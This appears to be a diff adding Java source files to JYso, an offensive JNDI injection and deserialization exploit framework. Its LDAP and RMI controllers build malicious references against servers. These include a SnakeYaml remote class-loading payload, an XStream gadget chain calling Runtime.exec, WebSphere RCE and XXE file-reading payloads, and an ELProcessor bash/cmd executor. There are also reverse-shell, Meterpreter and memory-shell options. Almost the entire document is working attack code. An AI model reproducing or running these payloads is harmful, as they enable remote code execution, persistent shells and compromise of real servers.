private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"" + params[0] + "\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + SnakeYaml");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
//System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod:" + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" url: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -0,0 +1,136 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.enumtypes.WebsphereActionType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Properties;
import static org.fusesource.jansi.Ansi.ansi;
/*
* Requires:
* - websphere v6-9 libraries in the classpath
*/
@LdapMapping(uri = {"/websphere"})
public class WebsphereController implements LdapController {
private WebsphereActionType actionType;
private String localJarPath;
private String injectUrl;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base));
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
Reference ref;
if (actionType == WebsphereActionType.rce) {
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
ref = new Reference("ExportObject",
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null);
Properties refProps = new Properties();
refProps.put("com.ibm.ws.client.classpath", localJarPath);
refProps.put("com.ibm.ws.client.classname", "xExportObject");
// ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddrropertiesRefAddr("JMSProperties", refProps));
} else {
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
ref = new Reference("ExploitObject",
"com.ibm.ws.webservices.engine.client.ServiceFactory", null);
ref.add(new StringRefAddr("WSDL location", injectUrl));
ref.add(new StringRefAddr("service namespace", "xxx"));
ref.add(new StringRefAddr("service local part", "yyy"));
}
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedActionTypeException {
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
actionType = WebsphereActionType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA ActionType >> |@" + actionType));
} catch (IllegalArgumentException e) {
throw new UnSupportedActionTypeException("UnSupportedActionType >> " + base.substring(firstIndex + 1, secondIndex));
}
switch (actionType) {
case list:
String file = base.substring(base.lastIndexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Read File/List Directory >> |@" + file));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/list.wsdl?file=" + file;
break;
case rce:
String localJarFile = base.substring(base.lastIndexOf("=") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Local jar path >> |@" + localJarFile));
localJarPath = localJarFile;
break;
case upload:
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
PayloadType payloadType;
try {
payloadType = PayloadType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
// webspherebypass 只支持这 4 种类型的 PayloadType
if (payloadType != PayloadType.command && payloadType != PayloadType.dnslog
&& payloadType != PayloadType.reverseshell && payloadType != PayloadType.webspherememshell) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
}
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(secondIndex + 1, thirdIndex));
}
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PayloadType >> |@" + payloadType));
switch (payloadType) {
case command:
String cmd = Util.getCmdFromBase(base);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=command&cmd=" + cmd;
break;
case dnslog:
String url = base.substring(base.lastIndexOf("/") + 1);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA URL >> |@" + url));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=dnslog&url=" + url;
break;
case reverseshell:
String[] results = Util.getIPAndPortFromBase(base);
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA IP >> |@" + results[0]));
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Port >> |@" + results[1]));
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=reverseshell&ip=" + results[0] + "&port=" + results[1];
break;
case webspherememshell:
injectUrl = "http://" + Config.ip + ":" + Config.httpPort + "/upload.wsdl?type=webspherememshell";
break;
}
break;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
if (e instanceof UnSupportedActionTypeException) throw (UnSupportedActionTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -0,0 +1,99 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.PayloadType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
@LdapMapping(uri = {"/xstream"})
public class XStreamController implements LdapController{
private PayloadType type;
private String[] params;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
" <unserializable-parents/>\n" +
" <java.util.PriorityQueue>\n" +
" <default>\n" +
" <size>2</size>\n" +
" </default>\n" +
" <int>3</int>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class='sun.tracing.NullProvider'>\n" +
" <active>true</active>\n" +
" <providerType>java.lang.Comparable</providerType>\n" +
" <probes>\n" +
" <entry>\n" +
" <method>\n" +
" <class>java.lang.Comparable</class>\n" +
" <name>compareTo</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.Object</class>\n" +
" </parameter-types>\n" +
" </method>\n" +
" <sun.tracing.dtrace.DTraceProbe>\n" +
" <proxy class='java.lang.Runtime'/>\n" +
" <implementing__method>\n" +
" <class>java.lang.Runtime</class>\n" +
" <name>exec</name>\n" +
" <parameter-types>\n" +
" <class>java.lang.String</class>\n" +
" </parameter-types>\n" +
" </implementing__method>\n" +
" </sun.tracing.dtrace.DTraceProbe>\n" +
" </entry>\n" +
" </probes>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
" <string>"+ params[0] +"</string>\n" +
" </java.util.PriorityQueue>\n" +
"</java.util.PriorityQueue>";
ref.add(new StringRefAddr("forceString", "a=fromXML"));
ref.add(new StringRefAddr("a", xml));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
System.out.println("- JNDI LDAP Local Refenrence Links + XStream");
try {
int firstIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", firstIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
String payloadType = base.substring(firstIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
if (payloadType.equalsIgnoreCase("command")) {
type = PayloadType.valueOf("command");
//System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Paylaod >> |@" + type));
} else {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + payloadType);
}
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
}
@@ -0,0 +1,93 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Util;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/jdbc1"})
public class jdbcController1 implements LdapController {
private String payloadType;
private String factoryType;
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String driver = payloadType;
String JDBC_URL = params[0];
e.addAttribute("objectClass","javaNamingReference");
e.addAttribute("javaClassName", "javax.sql.DataSource");
e.addAttribute("javaFactory",factoryType);
e.addAttribute("javaReferenceAddress", "/0/url/"+JDBC_URL,"/1/driverClassName/" + driver,"/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1");
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Refenrence Links Target < JDK20");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
if (fourthIndex < 0) fourthIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -0,0 +1,113 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import javax.naming.RefAddr;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.util.Enumeration;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/jdbc2"})
public class jdbcController2 implements LdapController {
private String payloadType;
private String factoryType;
private String[] params;
private GadgetType gadgetType;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String driver = payloadType;
String JDBC_URL = params[0];
Reference ref = new Reference("javax.sql.DataSource", factoryType, null);
ref.add(new StringRefAddr("driverClassName", driver));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("initialSize", "1"));
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaClassName", ref.getClassName());
e.addAttribute("javaFactory", ref.getFactoryClassName());
Enumeration<RefAddr> enumeration = ref.getAll();
int posn = 0;
while (enumeration.hasMoreElements()) {
StringRefAddr addr = (StringRefAddr) enumeration.nextElement();
e.addAttribute("javaReferenceAddress", "#" + posn + "#" + addr.getType() + "#" + addr.getContent());
posn ++;
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI JDBC Refenrence Links Target < JDK20");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex < 0) thirdIndex = base.length();
try {
factoryType = base.substring(secondIndex + 1, thirdIndex);
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int fourthIndex = base.indexOf("/", thirdIndex + 1);
if (fourthIndex != -1) {
if (fourthIndex < 0) fourthIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" JDBC_URL: " + cmd).reset());
params = new String[]{cmd};
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
}
}
@@ -0,0 +1,47 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedActionTypeException;
import com.qi4l.JYso.exceptions.UnSupportedGadgetTypeException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import java.util.Random;
@LdapMapping(uri = {"/ldap2rmi"})
public class ldap2rmiController implements LdapController {
private final String ip = Config.ip;
private final String rmiPort = String.valueOf(Config.rmiPort);
private String path;
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("- Change LDAP to RMI ");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaRemoteLocation", "rmi://" + ip + ":" + rmiPort + path);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" redirecting to: " + "rmi://" + ip + ":" + rmiPort + path).reset());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException {
base = base.replace('\\', '/');
int index = base.indexOf('/');
if (index != -1) {
String result = base.substring(index);
path = result;
}
}
}
@@ -0,0 +1,109 @@
package com.qi4l.JYso.controllers.rmi;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.JYso.template.CommandTemplate;
import com.qi4l.JYso.template.echoStatic.Meterpreter;
import org.fusesource.jansi.Ansi;
import javax.naming.Reference;
import java.net.URL;
import java.util.Base64;
public class Basic {
static String payloadType;
//最后的反斜杠不能少
static String codebase = Config.codeBase;
static String[] params;
static GadgetType gadgetType;
public static Reference basic(String base) throws Exception {
System.out.println("- RMI Remote Refenrence Links ");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
String className = "";
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
className = EchoClass.getName();
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
className = Gadgets.createClassB(ClassName1);
}
if (payloadType.contains("command")) {
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
commandTemplate.cache();
className = commandTemplate.getClassName();
}
if (payloadType.contains("msf")) {
className = Meterpreter.class.getName();
}
String className1 = className.replaceAll("\\.", "/");
URL turl = new URL(new URL(codebase), className1 + ".class");
Reference ref = new Reference("Foo", className1, turl.toString());
return ref;
}
}
@@ -0,0 +1,144 @@
package com.qi4l.JYso.controllers.rmi;
import com.qi4l.JYso.enumtypes.GadgetType;
import com.qi4l.JYso.exceptions.IncorrectParamsException;
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.InjShell;
import com.qi4l.JYso.gadgets.utils.Util;
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
import org.apache.naming.ResourceRef;
import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
import java.io.IOException;
import java.lang.reflect.Field;
public class ELProcessor {
static String payloadType;
static String[] params;
static GadgetType gadgetType = null;
public static ResourceRef refTomcatBypass(String base) throws Exception {
// 切割参数
System.out.println("- JNDI RMI Local Refenrence Links ");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" PaylaodType: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Util.base64Decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params: " + base);
}
// 构造ref对象
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
String code = null;
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
code = InjShell.injectClass(EchoClass);
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
code = Gadgets.createClassT(ClassName1);
}
if (payloadType.contains("command")) {
code = getExecCode(params[0]);
}
if (payloadType.contains("meterpreter")) {
code = injectMeterpreter();
}
String payloadTemplate = "{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"{replacement}\")" +
"}";
String finalPayload = payloadTemplate.replace("{replacement}", code);
ref.add(new StringRefAddr("x", finalPayload));
return ref;
}
public static String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field WinClassName = ctClazz.getDeclaredField("host");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, params[0]);
Field WinclassBody = ctClazz.getDeclaredField("port");
WinclassBody.setAccessible(true);
WinclassBody.set(ctClazz, params[1]);
return InjShell.injectClass(ctClazz);
}
public static String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +
" if(java.io.File.separator.equals('/')){\n" +
" strs[0]='/bin/bash';\n" +
" strs[1]='-c';\n" +
" strs[2]='" + cmd + "';\n" +
" }else{\n" +
" strs[0]='cmd';\n" +
" strs[1]='/C';\n" +
" strs[2]='" + cmd + "';\n" +
" }\n" +
" java.lang.Runtime.getRuntime().exec(strs);";
return code;
}
}
@@ -0,0 +1,39 @@
package com.qi4l.JYso.controllers.utils;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class AESUtils {
private static final String ALGORITHM = "AES";
private static final String TRANSFORMATION = "AES/CBC/PKCS5Padding";
private static final int KEY_SIZE = 16;
public static String decrypt(String ciphertext, String key) throws Exception {
byte[] combinedBytes = Base64.getDecoder().decode(ciphertext);
byte[] ivBytes = new byte[KEY_SIZE];
byte[] encryptedBytes = new byte[combinedBytes.length - KEY_SIZE];
System.arraycopy(combinedBytes, 0, ivBytes, 0, KEY_SIZE);
System.arraycopy(combinedBytes, KEY_SIZE, encryptedBytes, 0, encryptedBytes.length);
byte[] keyBytes = getKeyBytes(key);
SecretKeySpec secretKeySpec = new SecretKeySpec(keyBytes, ALGORITHM);
IvParameterSpec ivSpec = new IvParameterSpec(ivBytes);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivSpec);
byte[] decryptedBytes = cipher.doFinal(encryptedBytes);
return new String(decryptedBytes, StandardCharsets.UTF_8);
}
private static byte[] getKeyBytes(String key) {
byte[] keyBytes = new byte[KEY_SIZE];
byte[] passwordBytes = key.getBytes(StandardCharsets.UTF_8);
System.arraycopy(passwordBytes, 0, keyBytes, 0, Math.min(passwordBytes.length, keyBytes.length));
return keyBytes;
}
}
@@ -0,0 +1,280 @@
package com.qi4l.JYso.controllers;
import com.qi4l.JYso.gadgets.Config.Config;
import com.qi4l.JYso.gadgets.ObjectPayload;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Serializer;
import com.qi4l.JYso.gadgets.utils.StringUtil;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import org.apache.commons.cli.*;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.util.*;
import static com.qi4l.JYso.gadgets.utils.HexUtils.generatePassword;
import static com.qi4l.JYso.gadgets.utils.StringUtil.isFromExploit;
public class ysoserial {
public static CommandLine cmdLine;
public static Object PAYLOAD = null;
public static void ysoserial(String[] args) {
final Options options = getOptions();
CommandLineParser parser = new DefaultParser();
if (args.length == 1) {
printUsage(options);
System.exit(1);
}
try {
cmdLine = parser.parse(options, args);
} catch (Exception e) {
System.out.println("[*] Parameter input error, please use -h for more information");
printUsage(options);
System.exit(1);
}
if (cmdLine.hasOption("inherit")) {
Config.IS_INHERIT_ABSTRACT_TRANSLET = true;
}
if (cmdLine.hasOption("obscure")) {
Config.IS_OBSCURE = true;
